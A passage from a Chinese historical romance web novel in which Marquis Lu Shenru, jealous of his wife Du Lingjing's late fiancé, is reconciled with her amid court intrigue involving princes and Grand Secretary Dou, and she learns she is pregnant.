“臣已重新排布了西北关防军务,请皇上保重龙体, 不必为此担忧。” “话是这么说,你亦辛苦, 只是西北是西北,可京城北面的关防,朕总觉防御不够。毕竟若攻破北面边关, 京城危矣。” 鞑子多在西北纠结活动,京北的边关是重中之重,他们也知道,并不太来。 但皇上这么说了,他又向来是那怯弱不安的性子,陆慎如便道,“臣会多加留意,加强防卫。” 皇上又点了两句,让他近来还是亲自往北面边关,多去几趟的好。 陆慎如伤口刚刚撕裂不久,尚未恢复,眼下看来也难得什么静养,他躬身应下,君臣又闲叙几句,这才离开了御书房。 贵妃遣人给他送了些伤药来,有让身边的姑姑问了他伤势到底如何,嘱咐他万万要静养,莫要留下遗症。 陆慎如没提皇上让他再往北边关城多跑几趟的事情,只叫人传话,安慰贵妃不必担心。 陆侯耐着痛往宫外去,但他莫名地不想回家。 日头暴晒着,肩臂连接之处,伤口处的血肉仿佛要化成一滩脓水,疼得人眼前有些发慌,似被骄阳直接晒入了眼里。 他想了想,抬脚往皇子所的方向走去。 不想刚走没多远,当先遇见了一位皇子。 陆慎如许久没见到他了,他在宫中素来也没什么存在,皇上不提,群臣不提,就像是被所有人遗忘了一样。 此刻他就站在一片树荫里,恰穿了一件银灰色的袍子,若非是小太监站在他身侧,陆慎如说不定真发现不了他。 他及不如雍王文质彬彬,得文臣簇拥,又不似慧王血脉高贵,出生便众星捧月。 他生母只是个不起眼的宫婢,生了他也没能晋升嫔位,如今有兄长雍王和弟弟慧王,一前一后夹着,连小太监跟他说话,都一副不耐烦的模样。 “承王殿下,这那么热的天,您不过就是丢了副折扇,就别找了吧?” “可我就那一副像样的折扇了。”他为自己解释,却都不敢理直气壮。 陆慎如皱眉。 他不禁想起贵妃曾经说过他,“逢祥也是个可怜的孩子,生母位份低又去的早,在这皇宫里实在是看了不少宫人的脸色。” 娘娘最是心疼孩子,从前刚到皇上身边,便把失母的雍王抱到自己身侧来养,后来皇上的三子承王逢祥也没了生母,她也曾起过意,只是怕小孩子受欺凌而已。 但那时她恰有了身孕,不好把皇上的子嗣都养在自己膝下,令皇后娘娘不快。 而皇上也并无此意,此事便做了罢。 但姐姐心慈,总还是对这皇三子承王多有照拂。 他比雍王小两岁,今岁才十四。而他身形偏瘦弱,倒与病倒的皇上,比旁的皇子都更肖像几分。 那太监一脸的不耐烦,只推搪不肯替他去寻扇子。 陆慎如走上了前去,两人听见脚步声皆看了过来。那小太监一见是他,连忙一脸谄媚地迎上前。 “侯爷怎么得闲过来了?可是来寻慧王殿下,殿下正随着扈先生读书,奴才这去给您通禀?” 多事。陆慎如抬手止了他,“勿要耽误慧王殿下进学。” 他不耐,太监一眼看出来了,连道,“是是是!” 陆慎如则又道了一句,“你既闲着,合该替承王殿下去寻物,勿要耽搁。” 他发了话,那小太监敢去推搪小承王,却不敢推他,心惊胆战地赶忙去了。 承王也有点意外,不禁仰头向他看来,“侯爷……” 一副怯怯懦懦的样子,饶是再不受待见,也是龙子凤孙。 做男人的,更该自己立刻起来,自己立不起来,旁人谁也帮不了。 陆慎如实在算不上喜爱这位承王,不过是看在姐姐的慈心上罢了。他这会与他行了礼,就转身离了去。 少年在他身后,目光追着他行在日头下的沉稳阔步,一直看着他走远,才又低着头站灰到无人在意的阴影里。 陆慎如却在走了不远后,又遇见了人。 这次是雍王,身侧照旧拥着不少人,只不过他身侧离得最近的,不再是从前的探花邵伯举,也不是邵氏最新推到他身边的人,而是今岁的新科探花,蒋枫川。 显然雍王逢祺很是喜欢他,一直在侧着身子跟他说话。 那蒋枫川则露着一副看着就令人生厌的笑,先是跟雍王说了几句,接着一眼看到了他。 陆慎如不予理会,也不欲上前,只当没看见。 偏生那蒋枫川笑起来,同雍王道了一句。 “殿下爱重臣,乃是臣之幸。只是臣之文采,全然不及臣的兄长。” 雍王道,“探花说的是蒋解元吧?” 那蒋枫川更笑了,他说当然是。 “家兄有状元之才,又是长情之人,生前便爱收藏宋朝古本,还曾立下夙愿。他过世之后,他青梅竹马的未婚妻伤痛不已,若非是收集百部宋本的夙愿未成,恐就随他而去了。” 他这话引得雍王唏嘘不已。 但他这话却不是说给雍王听的,话音随风飘进陆慎如耳中,男人肩臂莫名地又重重痛了一下,牵连得心口发紧。 他沉着脸,大步离去。 这次没再遇见旁的人。 只是耳中却不断响起,那令人讨厌的蒋六的话。 “……他过世之后,他青梅竹马的未婚妻伤痛不已,若非是收集百部宋本的夙愿未成,恐就随他而去了。” 那年,蒋竹修的死带走了她大半副心神,她的确削弱了生的意志,是靠着要为蒋竹修收宋本百部,才度过了那年的寒冬。 而他最初引她来京,靠得也是蒋竹修夙愿的宋本,她才肯咬上他的钩,离开青州北上…… 焦阳晒得人心以如焦,男人忍耐着诸般的不适,深深闭气眼睛。 直到有慧王逢祯身边的小太监看见了他,“侯爷来了?” 陆侯睁开眼,听见小太监道,“殿下就快下学了!” 男人回了神,往学堂走去,刚好遇到下学,扈廷澜拿着书从学堂里走出来,逢祯跟在他身后满脸敬仰恭敬。 小太监跟他飞打手势,小殿下抬头看来,一眼看见了舅舅。 他眼睛璀亮如星,冲着他笑,男人心头都软了,但却见扈廷澜上前同他见礼,又犹豫着,似乎有话要说的样子。 陆慎如立时便同小外甥道,“天热,殿下口渴了吧,先回毓星宫吃些茶,臣不时便过去。” 逢祯连声道好,又跟扈先生行了礼才离开。 扈廷澜也跟他笑着点头。 逢祯离去,此间就只剩下陆慎如与他两人。 他先问了逢祯进学的状况,扈廷澜回道殿下不是调皮的孩子,“娘娘亦多上心,学业上不曾懈怠。” 陆慎如点头,却见他目色更露几分犹豫,“只不过……” “先生但说无妨。” 扈廷澜左右见无人,低声问来。 “殿下聪慧肯学,一点就通,绝无怠慢,只是……”他微顿,“侯爷,殿下的耳朵是否不太聪灵?” 每一次讲课,小殿下都有漏听的情形,他初初也以为只是殿下年岁小,难以整堂课都聚精会神。 但他后来却觉恐怕不是这样,待他提了嗓音,将整堂课讲下来,小殿下便再无漏听了。 可那提高的嗓音,超出了一般的范畴,甚至会引得路过的人不住侧目。 扈廷澜说完,见侯爷眸色暗淡地沉落了下来。 他没直接回答他的问题,只是英眉低低压着。 “先生也不必特意提音,以免引得旁人奇怪。只是若方便,便近前指点,或者将他漏听之处,再多讲一遍。” 男人的声音含着少有的低沉无奈,此刻还是直接回答问题,却补了一句。 “此事,先生知道也就是了,再不便让外人晓得。切记。” 他目露嘱托,扈廷澜瞬间明白过来—— 慧王小殿下的耳朵,恐怕真有问题! 此事不容小觑,扈廷澜知道轻重,道,“侯爷放心,我绝不会多言。” “拜托了。” 扈廷澜离去后,陆慎如又在原处站了几息,他目光落在小外甥的学堂窗子上,半晌,才深深沉了一口气,去了毓星宫。 他没在逢祯面前提此事,陪他吹了一会笛子,但小殿下担心他肩臂有伤,抬手吹笛不便,舍不得让他吹。 男人眸中的爱怜已止不住要溢出来了。 他默默揽着小外甥的肩,又多陪了他一阵,待外间夕阳西下,才依依出宫。 崇平牵了马在宫门口等他,见他脸色还是不好,血色缺缺,斟酌着。 “侯爷,今日您出行,不若该用马车吧。骑马总是多有不便,不利于侯爷伤势。” 可男人却摆了手,他径直翻身上了马,目光扫过眼前的宫门大街,遥遥向整座京城看去。 “我不可示弱半分,不然这京城、朝堂、天下,到处都是想扑上来的恶狗。” 话音落地的瞬间,崇平急敛了心神。 “属下知道了。” 陆慎如没再多言,仍旧稳坐高头大马之上,又想起什么,吩咐了崇平一句。 “我今日还要去一趟北边的关城军中,你先去准备吧。” 伤势未愈又要出门,崇平心惊,却也不敢多言,“是。” * 永定侯府。 杜泠静把阮恭带回来的、两大箱三郎遗留下来的纸页,大致理了理。 这无非是些朝廷邸抄,和三郎打听来的各地的政事,他留下的墨迹不多,但也有在这些消息上,浅浅留墨之处。 就好比锦衣卫行事。 殷佑五年,魏玦升任锦衣卫北镇抚使,同年腊月,他奉命南下,处理江西的反诗一案。 锦衣卫行事不妥,处置案件其间,失手打死了一位颇受尊敬的大儒。 这位大儒只比她祖父小几岁,与祖父和父亲皆有往来,但因朝中喧闹,早早离开朝堂回乡教书,他见解独到,敢说敢言,又桃李天下,不少学生都在朝中任职高位。 锦衣卫失手打死了他,当即就引得朝堂哄乱,群臣将矛头对准了刚上任锦衣卫北镇抚使的魏玦,纷纷上书要求必须重重惩治他。 此事杜泠静也有所耳闻,毕竟魏玦也是她旧日相识之人。不过皇上只责打了部分锦衣卫,又斥责了魏玦,罚了他半年的俸禄,就将此事揭过,又过几年,魏玦顺利升任锦衣卫指挥使,并未受到此事干扰。 但是三郎却在此事上颇为画了几笔,将此事单独挑了出来,不知是何意。 纸页太多,杜泠静一时看不完,让阮恭放到西厢房书房里,待之后慢慢看。 稍稍用了眼,眼睛就疼了起来,她不得不起身往往外走去,又问了人。 “侯爷回来了吗?” 她看天色,夕阳早坠在了城墙下,之余一抹红霞尚在天边。 他从上晌进宫,怎么到现在还没回来? 艾叶回说还没有,但她不放心,去了外院。 他果然还没回来,而他的远岫阁,他也不让她进,她只能就坐在附近路边的小凉亭中。 杜泠静托了腮,蓦然想起了她刚回京,却还没入京门的时候。 那几日下了雨,她担心自己落脚的京外田庄会被决堤的洪水吞没,去听闻附近调了兵前来支援加固河堤。 她甚是意外又欣喜,亲自去了一趟河边,想着聊表谢意,却听闻,原来前来加固河堤的兵丁,是永定侯陆侯爷调来的,是为了出去上香的贵妃和慧王回宫。 说是怕河水暴涨决堤,娘娘和殿下不便回来。 杜泠静彼时再没多想,如今想来,贵妃和慧王回宫,就算河水决堤也无大碍,那暴雨还不至于祸害了京畿的大片粮田,只有可能是她落脚的那片地带遭殃而已。 而他调兵过去,又颇费周章地打了娘娘的借口,其实是怕,洪水一不留神被她的庄子冲了。 杜泠静坐在他院外的凉亭下轻轻咬了唇,彼时她再也想不到这等可能,而那天,他隔着厚厚的雨幕,目光远远跨过奔涌的河水,一直落在她身上。 可他揭过旧事不肯说,她怎么知道他是谁,又为何而来。 就如他所谓的“初见”,在枕月楼上。 她在楼梯间险些摔倒,这事与他何干,可他一步上前就扶在了她腰间。 她根本不知这事何人,反而不快问他,“抱歉,我认识阁下吗?” 彼时她把他问得顿了一顿,她只觉他沉落地看着她的眼神很是奇怪,他实在无话可说,再也不能跟她解释他是谁人,只能抿唇闷声说他认错了人。 他劝她不要上楼去见邵伯举,她却觉此人真是奇怪,管这么多闲事。 冷言冷语地不欲与他多言,“多谢告知。” 说完就走了,再没给他好脸。 此时此刻,杜泠静回想起来,红了眼角,又忍不住擦拭着眼角的泪,苦笑了一声。 “真呆……” 那她怎么知道他是谁?又怎么可能给他好脸色看? 可就算是没有一点好脸色,他也不怕上前,把她给他吃的排头都笑着咽了,还最爱抱着她柔声叫她的小字,叫她“泉泉”…… 不知是不是腹中或有了孩儿的原因,杜泠静心绪不禁地起起伏伏。 …… 陆慎如却在回府的路上,又看见了蒋枫川,这次没等这令人讨厌的蒋六再阴阳怪气,就打马离了去。 但“蒋”这个字,却似幽魂一样缠着人。 殷佑六年初冬,她父孝已过,刚刚除服。 他赶在年前去看了她一回,不想刚到济南城,就听到人回,说她不在青州,就在济南。 他甚是意外,听说大明湖结了冰,她并不会滑冰,却定了湖边酒楼望湖雅座,在那处赏景,看人溜冰。 那日热闹极了,她不是个爱看热闹的人,不知怎么到了那酒楼上。 他让人打听了一下,说只有她一个人在楼上,蒋竹修不在。 可巧,他刚听闻就在路边茶摊遇到了蒋竹修。 蒋谦筠在同他的同年旧友说话,人家热情地请他吃过茶,一起去吃酒。 蒋竹修一时还没应,却发现了他,接着他应了友人的邀,友人开怀。 他则去了她看吃茶的大明湖畔。 但等他也上了楼,却发现四下坐满了。崇平要去帮他重金买下雅间,可他止了崇平,反而让人去询问了她,可否方便与她同坐片刻。 她认不出来他的模样,但颇为犹豫了几分,见楼上真是坐满了,才点了头,却让人搬了个小屏风来,与他隔开。 如此也好,他与她隔着薄薄的小屏风,分坐在雅座两侧。 湖上溜冰的人络绎不绝,远处有残雪,而近处摆摊的商贩,热热闹闹地招呼着路过的客人。 他分明与她什么也没说,但烟火喧闹的声音传到楼上,雅座间有种特殊地令人心绪舒展的气氛。 就在这时,冰面裂开了,有人差点掉了下去,就在她身前不远处。 她不住“呀”了一声,侧身去看,他顺势开了口,“眼下才初冬,济南的冰看来没冻实。” 他开口,没有旁人搭话,她这才意识到他在跟她说话。 她道是,但敏锐地问了他,“阁下是从外地过来的?” 他点头,只是没说从何处来,反而问她,“听姑娘口音也不似济南人。” 她微顿,“阁下好耳力,连这差别都能听出来。” 陆慎如不是山东人,他还真就听不出明显的区别,只是他知道她是青州人而已。 他笑起来,也就此与她攀谈了几句。 他只觉自己还没说什么,天色就有些暗了,又有了冰面破裂的事,滑冰的人逐渐散了去,此间也安静了几分。 她往外看了一眼,突然问,“阁下吃好茶了吗?” “怎么?” 她稍有些不好意思,却也说来,“我等的人,应该要来了。” 是蒋竹修。 她在等她的未婚夫,难怪不喜热闹,还定到了这湖边的酒楼来。 他微微抿唇,“姑娘等的人,这么久都不来,未必还会来吧?” 她愣了一下。 “不会,我与他说好了,他必然会来的。” 但蒋竹修已应了友人的约,同人吃酒去了。 这话他不能说,只能暗示她。 “天下有约在先的人多了,可大多数人都不能履约,他也许在路上又碰到了旁人。” 可她摇头说不可能。 “不瞒阁下,我要等的是我未婚夫,他与我说好就一定会来。” “那若是有事绊住了呢?” 她停顿了一下,“那我就一直在这儿等他。” 好一个一直等他。 陆慎如沉默了下来。 她不知那人与友人吃酒去了,不管是出于什么原因,吃酒岂是好等? 他不禁闷声问了一句,“姑娘如此执意是为哪般?” 她则疑惑地反问了一句。 “阁下占着我给他留的雅座不肯走,又是为哪般?” 陆慎如彻底沉默了。 而她干脆道,“他就要来了,还请阁下离去吧。” 又为蒋竹修赶他走。 陆慎如无声笑了,但也不舍得再惹她不快。 至少,今日与她在大明湖畔赏了景…… 他说抱歉,“是我唐突了,感谢姑娘舍座,在下走了。” 他温言告辞,她似乎意识到自己方才的口气重了些,起了身,隔着屏风跟他浅浅行礼。 只是他并没走远,坐去了湖岸另一家酒楼上,从那处恰能看到她的雅座窗前。 他点了酒慢慢吃着陪她等人,她还真就一直在等,一个人坐在灯前,等到酒楼都快打样了,蒋竹修才出现在楼下。 她当即就下了楼,快步走过去。 他以为她会生气,毕竟对他可没有多少好脾气。 可她却只上下看着蒋竹修,“被人缠住了?是吃酒了?可难受?” 他愣住,那是他再没从她口中听到过的“软话”。 他见蒋竹修摇头,说抱歉,没能陪她临湖赏景,“泉泉是不是等了我很久?我们再上去坐回?” 她却说不用了,替蒋竹修暖了手,“那景也没什么可看的。你身子好冷,我们快回去吧。” 她说完,甚至脱了肩头披风给了身侧的人…… 那晚,他独自在大明湖畔的酒楼里,喝了整整一夜的酒。 马儿到了侯府门口,陆慎如翻身下马,默然向里间走去,下马时扯动了伤口,又在隐隐作痛。 为了蒋竹修赶他走这件事,就像是命定了一样。 眼下蒋竹修没了,她也照样会为那人,离他而去。 他再没在她口中,听过几句那样的“软话”,她待他的温柔情意,从来都不如她待蒋竹修的五分之一。 …… 男人往里走去,却在远岫阁远岫阁院门前,一眼看到了他的妻。 他脚下微顿,她亦看向了他,但他只想当作没看见她,可她快步上了前来。 “惟石。” 陆慎如控制自己的目光不停在她脸上,嗓音冷淡着。 “夫人有何事?” 他极其冷淡,还只肯叫她“夫人”,但杜泠静没去在意,轻声问他。 “怎么才回来?伤口又扯到了吗?” 男人无事,依旧冷淡。 “不劳夫人费心。” 她又不是真的在意他。 他欲走,可她还问,“你今晚能回正院来吗?” “不回。” “那我今晚宿在远岫阁,可以吗?” 他狠下心。 “不必。” 说完抬脚就走。 可是他刚一步迈出去,就有人快步上前。 她拉住了他的袖子,然后忽然伸手抱到了他的腰间。 但她的力道很重,紧紧地环着他的腰,抱着他,将脸埋在他宽阔的后背上。 陆慎如怔然顿住。 她啜声。 “陆惟石,别生气了,行吗?” 第87章 侯府远岫阁。 他把她死死抵在了卧房的窗台下。 杜泠静是晓得陆惟石有多少气力的, 哪怕是受了伤,压人的迫势一点都没减,反而因着含了怒越加地紧紧压着, 令人透不过气来。 但他要避要闪,但凡有一点不耐, 他只会更生气, 越加含怒。 杜泠静只能由着他唇下的吻意,啄得她唇瓣生疼。 陆慎如一手控住她腰身,一手控住她后耳,她已在他怀里再也无处可去。 是她要来, 是她抱了他,非要拦着他不许他走的。 既如此在意她的三郎, 人死了也要找寻原因,舍不得那人受一点委屈。 那么又抱着不许他走做什么? 深重强势的吻变成了攻池掠地,是她开了城门,那他只能不管不顾地占据她的所有, 攻掠之间, 指尖压着她的耳朵, 又迫着她抬头完全迎上他,更咬住了她的唇。 她又不是真的爱他…… 从前他再也舍不得如此痛咬她, 今次却完全耐不住了,肩臂传来的痛意更令他浑身痛意翻腾。 可他却突然看到了她眼中隐有泪光。 “疼?”他顿了一下, 问了她一句。 她缓缓点头,他低眸看去, 才见她柔唇红肿处,有了细微血丝。 “疼为什么不推开我?”他哑声问。 她却摇头,长眉之下水眸抬起, 看住他的眼睛。 “我再也不会推开你。” 再也不会…… 她又开始哄他了,是不是? 陆慎如将英眉紧紧压成川字盯住她,但她眼眸不避不闪,好像她说的全是真心的话,由着他打量审视。 男人抿了唇,下一息,他突然将她单手抱了起来,径直抱去了床榻锦帐之间。 她不禁地倒吸了一气,挣扎着要下来,他不予理会,将她放在床边,便握住了她的肩头。 轻薄的衣衫从她光滑白皙的肩头,倏得落了下去,锁骨之下,柔润的起伏半现。 而他直接解了腰间束带。 杜泠静吓了一大跳,在他靠近时,着急忙慌地抵住了他的前胸。 男人当即挑了眉。 他嗓音如沉在湖水之底,“你不是说再也不会推开我?果是骗人?!” 他没个好态度,他反揪着她质问。 杜泠静急着,“这是两码事!” 她道,“你肩臂上伤势根本未愈,再扯了伤口可怎么得了?!” 更何况,她眼下这情况,恐一时不便行房…… 但她只瞪着他道,“侯爷是想似王太医说得那样,日后装一根木头胳膊在肩下吗?!” 陆慎如停了一停,却还是道。 “信他的鬼话?” 他不信王太医的话,但杜泠静却说,“我信!” 她拉起肩头落下的衣襟,又握了他的手,见他一张英俊的脸上,冷沉如在冰河之底。 怎么会一直生气成这样? 她只能放柔了声音,“我不想再让你受伤了。” 房中终于静了下来,房外有夏风吹动树叶的沙沙声飘入窗中,杜泠静也学了他从前捏她的样子,轻轻捏了他的手。 他的手很厚很硬,握剑之处结了厚厚的茧。 他虽很少再亲自提到上阵,但功夫不曾疏忽,远岫阁后面就有一小片练武场,他时常过去,总是通身汗水淋漓才出来。可自从受伤之后,就很少去了。 房中静着,她看向他,陆慎如一时没开口。 从前他只想听她跟他多说些软话,哪怕一句都行,她不懂他所为的软话为何物,说不出来。今日倒是说了不少…… 她到天晚了也没走,就顺势留在了他的远岫阁里。 陆慎如离京这些日子,平日里繁杂事务早已堆积如山,此刻全高高垒在案头,令人一眼看去就不住皱眉。 但事情总是要料理,他坐到了书案边,刚要去拿堆积的信函,她就走过来,亲自替他取了,又帮他拆了。 陆慎如的目光不由地落在她纤长的手指上,但又抿唇收回了目光。 他脸色还是不悦,杜泠静也看得出来,他是什么样的脾气,杜泠静已经了解,毕竟连贵妃娘娘都打了个黑黢黢如黑石头一样的绦子给他。 但也只有他这样心如磐石般坚不可摧的人,才会在父亲为她定下他之后,到去岁他求旨赐婚娶她过门,他足足等了她八年。 再加上她嫁他的这将近一年,九年,他沉在心底最是不肯说的话,竟以这等方式由他亲自说出了口。 他没有一点脾气倒是奇怪了…… 杜泠静帮他把要看的信全都拆了,见他神色略有几分和缓,却还是绷着唇,不跟她多说什么话。 她轻声道,“你慢慢回信吧,我今日晚间都在这陪你。” 他脸色又缓几分,但还是不应声。 杜泠静暗暗笑了笑,又极轻叹了一气,侧身做到窗下看书。 她平日里看书,通宵达旦地看上一夜,只会觉得眼睛酸涩而已。但此时刚看了一阵,就觉精神已经不在了书上,人疲累地似围着京城跑了三圈。 她支着手臂,想让自己不发困,可灯火噼啪之间,她不知不觉就疲累地趴在了小几上。 陆慎如抬头,便看到他的娘子趴在桌子上睡着了。 他不禁起身走了过去,碰到了椅子她也没醒。 他走到她身边,低眸看她,真的是睡着了,还睡得挺沉。 他绷了唇。 不是说今晚都在这里陪他?这才过了几刻钟,就睡着了。 可见说陪他也不是真心…… 男人刚才略作和缓地脸色又敛了回去,看着她的眼神透着不快。 但还是取了件衣裳,给她披在了身上。 她这一觉真是睡得沉极了,待夜深到外间的风都凉了几分,男人案头的信函奏折料理了大半,她才悠悠转醒,似是还没睡够,疲累地捂着嘴巴打了哈欠。 陆慎如:“……” 果然都是哄他,没有真心。 “去床上睡。”他冷声。 杜泠静瞬间清醒了过来,这才意识到自己竟然睡着了,恰外间更鼓声响起,竟然已经到了夜半时分。 她看向侯爷,“这么晚了,你也休歇吧。” 多休息,伤口才能好得快。 但他不开口应她。 杜泠静干脆走上了前去,悄悄打量着这个脾气硬得像石头一样的男人,想了想,取走了他手里的笔。 他手下一顿。 她料想,这世间恐怕再没有人,敢从他手里抽走笔了。 但这事她反正是干了,他又能对她怎样。 她柔声,“夫君,休歇吧。” 恰好这时,外间崇平也提醒了一声。 “侯爷歇了吧,王太医嘱咐您,不必勤勉得三更灯火五更鸡。” 又不考状元。 陆慎如:“……” 但凡太医院有个与此人医术相当的,他绝对不找他看病。 可杜泠静却抿唇笑了笑,王太医倒是为数不多能“治”石头的人。 不想许是觉没睡够,杜泠静忽觉胃中又是一阵翻腾,但幸好不太厉害,她暗暗压了下去,上前拉了他的手。 “就歇了吧,明日不是还得上朝?” 她连声劝,陆侯这才略舍几分薄面,起了身来。 只是一张世间无人可比的英俊脸庞,还是如被冰封住一样冷着。 不时洗漱上了床,也不同肯说话。 眼前却不住浮现他急奔回京的那日,推开澄清坊西路西厢房的门,满屋的竹气,她为那人穿着一身素衣白裳,站在他面前,说无论如何,要为她的三郎自尽之事找到真相…… 男人平平躺着,闭起眼睛,身侧人的呼吸声疲累着渐渐绵长。 然而她并未睡下,反而伸手向他这处移来,于薄薄的夏被中,抓住了他的手。 接着她柔软的指尖从他手心里穿过,漫过他的指缝。 下一息,她与他十指相扣。 帐中的一切皆停滞下来,唯独她那薄浅的力道,往他指间掌心传来。 漆黑的夜中,男人墨色的双瞳几不可察地颤了一颤。 杜泠静则微微眨了眨眼睛。 不想她握去的那只手,却骤然发力将她主动缠来的手指,彻底扣入他手中。 那力道重得,她隐隐有些发疼了,但她如她所言没有推开,就由了他。 …… 翌日早间,夫人还没睡醒,但崇平却见早起上朝的侯爷,面色终于比前两日,缓上了一丁半点。 谁人能令侯爷深深地伤了心,只有夫人;而谁人又能慢慢治愈侯爷心头的伤,也惟有夫人。 男人仍旧打马去上了朝。 远岫阁,杜泠静又睡了许久才醒过来。 秋霖来房中服侍她,问她今日想要吃点什么,杜泠静一听见“吃”字,就口中反酸,她什么也吃不下,只想再睡一觉。 但再睡一觉,一天又过去了。 不过秋霖叫了她,“夫人这么难受,有没有告诉侯爷?” 告诉侯爷,她可能已经有了身孕,侯爷还舍得再生气? 但杜泠静却道不急,“最好先确定了,再跟他说。” 免得他空欢喜一场。 她便与秋霖商量着,怎么从外面请个郎中先问问诊。 恰这时,艾叶跑了过来,“夫人去训斥奴婢哥哥的,他又纠缠安侍卫。” 菖蒲又纠缠崇安,“是为何?”杜泠静问。 艾叶不禁翻了个白眼,她说自己胞兄这次又被关起来,便又惦记上侯府的狗洞,但怕自己卡里面,就捉了只白兔放进去。 他瞧着那白兔蹦蹦跶跶的,把狗洞里的杂草啃了,一副宽敞模样,就探着脑袋往里面试了试。 谁想崇安带侍卫经过,见此间有动静查探来,菖蒲一紧张,脑袋往前一伸,卡在那狗洞里出不来了。 待崇安给他拔出来,他就缠住了崇安,“说自己头晕目眩,还擦破了油皮,让安侍卫给他看病的医药钱。眼下正纠缠不休呢!” 艾叶气得,“真是不嫌丢人!” 秋霖笑起来,也道真丢人,杜泠静倒是想到了什么,叫了艾叶。 “让他别纠缠崇安了,就说我给他请个郎中,过府来给他看病。” 秋霖一听就明白过来,正好能帮着夫人一并诊断了。 被菖蒲这么一闹,杜泠静恢复了些精神。 她简单吃了些粥水,回了正院的西厢房,继续收拾三郎留下的诸多纸页。 她翻了又翻,见三郎除了在锦衣卫的事上留意之外,还在一人身上多留了墨迹。 是窦阁老。 窦阁老年岁比她父亲长,入阁却又比父亲晚。 窦阁老也曾年少中举,举业顺风顺水,早早中了进士。但他早年持才傲物,言语颇为犀利,得罪了不少人,甚至在先帝在位时,上书明指先帝优柔寡断,才导致文武相争不断,朝堂不稳,为君之道,无法广安天下。 彼时他这话一出,把人都吓得不轻,毕竟谁人敢把朝堂混乱,全都归咎到皇上身上,剑指君王。 先帝倒是没说什么,为对他进行如何的处置,但却有朝堂其他官员,为皇上出气,不到一年的工夫,连贬三级,贬到了无人问津处做个小官。 窦阁老在那无人问津地,前后做了近十年的官,或是锋芒褪去,他才渐渐通了官路,回升官阶。 不过先帝朝时,他一直不受重用,直到今上继位,他才突然被用气。 先帝朝也因为太子过世,几位皇子龙争虎斗,搞的乌烟瘴气,党派林立混乱,最后谁都没想到是殷王登极。窦阁老那会无人赏识,不分属任何派系,反而被今上看上。 而他再无从前“指点皇帝”的意气,人虽年纪内敛沉稳,更懂为官、为臣之道,皇上越发提拔了他。 待到他父亲新政阻断流离,又回乡守孝,新政无以为继,皇上便点了窦阁老来收这一摊。窦阁老下手极快,连同父亲不少已经顺利推行下去的政策,都被窦阁老叫停,又干脆利落地阻绝。 那时她在青州家中,常见父亲对着京中来的邸抄、信函,默默发怔叹气。 而窦阁老的雷厉风行,更得皇上赏识,入阁已在门前。 但那时,窦阁老还没入阁,她看到三郎在邸抄上的笔墨点画。 皇后的太子突然病逝之后,窦阁老第一个提出要尽快立雍王为太子,以保国之根本。他更是立时就站到了雍王身后,大力支持。 而就在他支持雍王的同年,皇上提他入了阁。 杜泠静在三郎点画之处,多看了好一阵。 从前她在书楼之中,少问这些政事,也就只能做到总有耳闻而已,细处就不太了解了。 可自她进了京城之后,这个她原本再不喜欢的权利漩涡,她无可避免地踏了进去。 果如她所料,这里充斥着混乱的明里倾轧和藏在暗处的阴谋,而这座皇城里更重要的是,每一个人都深陷其中,有着他们的无奈与执意,又或者说是缘故或秘密。 原本离她最远的便是侯爷,而他如今离他最近,就不消说了。除了他,贵妃娘娘、皇上与皇后、雍王与慧王,邵伯举和邵家,魏琮和魏玦,还有窦阁老…… 她已渐渐能把他们的模样,从远处的简单名讳,看进到自己的眼睛里。 只是还有许多重要的事,她不知道,而他们亦不会轻易告诉别人。 杜泠静又把三郎留下的纸张,翻了又翻。 三郎亦有不曾告诉她的事,他多年收集来的这些纸页消息,显然不只是集来看看而已。 她又把有关窦阁老的消息看了又看,不想这时,有人送了张帖子,上了门来。 她看向那请帖上的落款,一时间惊讶不已。 * 陆慎如下了朝,又与窦阁老遇到了一处。 “听闻侯爷在西北捉了那鞑靼九王,可问出些什么来了?抗敌一事,其实该文武共通。” 陆慎如只哼了一声。 他窦阁老当年虽不曾参与主张议和,但他麾下这些文臣,却与当年的议和党尽是交迭。 那鞑靼九王他是捉住了,眼下正在押来京城的路上,但会问出什么,他道。 “哪日窦阁老也掌兵上阵,陆某再告诉你不迟。” 他不肯说,窦阁老也不稀奇,嘴上却道。 “侯爷真是令人寒心,但你我素无往来,突然互通有无倒也奇怪。罢了。” 这话听在陆慎如耳中,又是一哼离了去。 但窦阁老出了宫门,却见家中仆从一张脸皱成纸团。 “何事呀?一副苦相。”他捋着胡子问去。 最近他府上老母亲要过大寿,他虽然不欲张扬,但老母已颤颤巍巍,又还能活几年?只能把寿过了。 不想仆从上前道,“老爷,老太君遣人送请帖,犯了糊涂,竟把请帖送去了永定侯府!” 窦阁老:“……” 他才刚说完跟那陆侯素无往来。 只是帖子都送了,他还有什么办法,这回一脸苦相的成了他。 “老太君呢?” “在家吃枣呢!” …… 陆慎如听闻了此事,他也愣了一下。 崇平道,“窦阁老似乎也不晓得,看样子是他家那老太君犯糊涂了,竟专门给夫人下了帖子。” 陆慎如没当回事,他想她还能去赴宴不成?毕竟那是与他最不对付的窦阁老。 他回了积庆坊。 但到了家门口,却不禁想起昨晚,她与他扣了十指的事。 掌心仿佛还残留着她掌心的温热与柔软。 他心下不由也跟着软了一软,可心里升起一个荒谬的念头,她会否也曾同蒋竹修这般? 男人下马踏入府里的脸色又不太好。 崇安远远看着就缩头缩脑,陆慎如并没留意他。 可今日却没在远岫阁院门前,看到有人等他。 昨日果然是她一时兴起而已。 可他一步踏入远岫阁内,却见有人就坐在他书房前的廊下,她戴了那套红珊瑚的头面,穿了一身淡黄并水红色的纱衫,再不是那日的素衣白裳,她柔唇略沾些许口脂,气色全提了起来,风吹得她脚下的轻纱裙摆摇摇曳曳,如飘在他心头。 只是男人耐着,没似从前一样,唤着她“泉泉”,便快步上前。 他一时立着没动,控制着目光不能一味落在她裙摆上,面上冷淡依旧。 崇安在旁飞快地眨眼。 夫人今日专门打扮得如花般俏丽,府里的侍卫都不敢抬眼了,侯爷真能沉得住气? 第88章 陆慎如不想沉不住气。 但她今日特特穿了鲜亮的裙裳, 坐在他书房门外的廊下,仿若夏花都尽数绽放在了他院中。尤其她还特特戴了那一套他送的红珊瑚的头面。 她知道他最喜欢看她戴这个,此刻歪着头看过来, 好似在问: 陆惟石还要生气吗? 惯会拿捏他…… 陆侯虽不肯立时就换了脸色,却也心下止不住一软, 目光柔和了三分。 杜泠静当即就察觉了他的变化。 他回来之前, 请来给菖蒲瞧脑袋的郎中,帮她一道看了,待双手切完脉便同她道喜,道是, “夫人这是正经的喜脉,看起来已有孕两月有余了!” 喜脉, 杜泠静亦欣喜,但若是两月有余,算起来那会她还在跟他赌气,每次都吃避子药。 他虽不快, 却根本不在乎, 